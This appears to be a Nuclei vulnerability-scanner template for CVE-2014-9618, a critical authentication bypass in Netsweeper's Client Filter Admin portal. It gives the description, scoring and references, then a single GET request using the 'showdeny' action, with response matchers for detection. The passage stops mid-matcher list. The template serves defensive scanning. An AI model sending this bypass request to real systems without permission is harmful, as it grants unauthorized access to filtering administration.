id: CVE-2014-9618 info: name: Netsweeper - Authentication Bypass author: daffainfo severity: critical description: | The Client Filter Admin portal in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to bypass authentication and subsequently create arbitrary profiles via a showdeny action to the default URL. impact: | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system. remediation: | Apply the latest security patches or updates provided by the vendor to fix the authentication bypass vulnerability in Netsweeper. reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - https://nvd.nist.gov/vuln/detail/CVE-2014-9618 - https://www.exploit-db.com/exploits/37933/ - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2014-9618 cwe-id: CWE-287 epss-score: 0.03433 epss-percentile: 0.90527 cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: netsweeper product: netsweeper tags: cve2014,cve,netsweeper,auth-bypass,packetstorm,edb,xss http: - method: GET path: - '{{BaseURL}}/webadmin/clientlogin/?srid=&action=showdeny&url=' matchers-condition: and matchers: - type: word part: body words: - 'name=formtag action="../clientlogin/?srid=&action=showdeny&url="' - 'placeholder="Profile Manager">' - '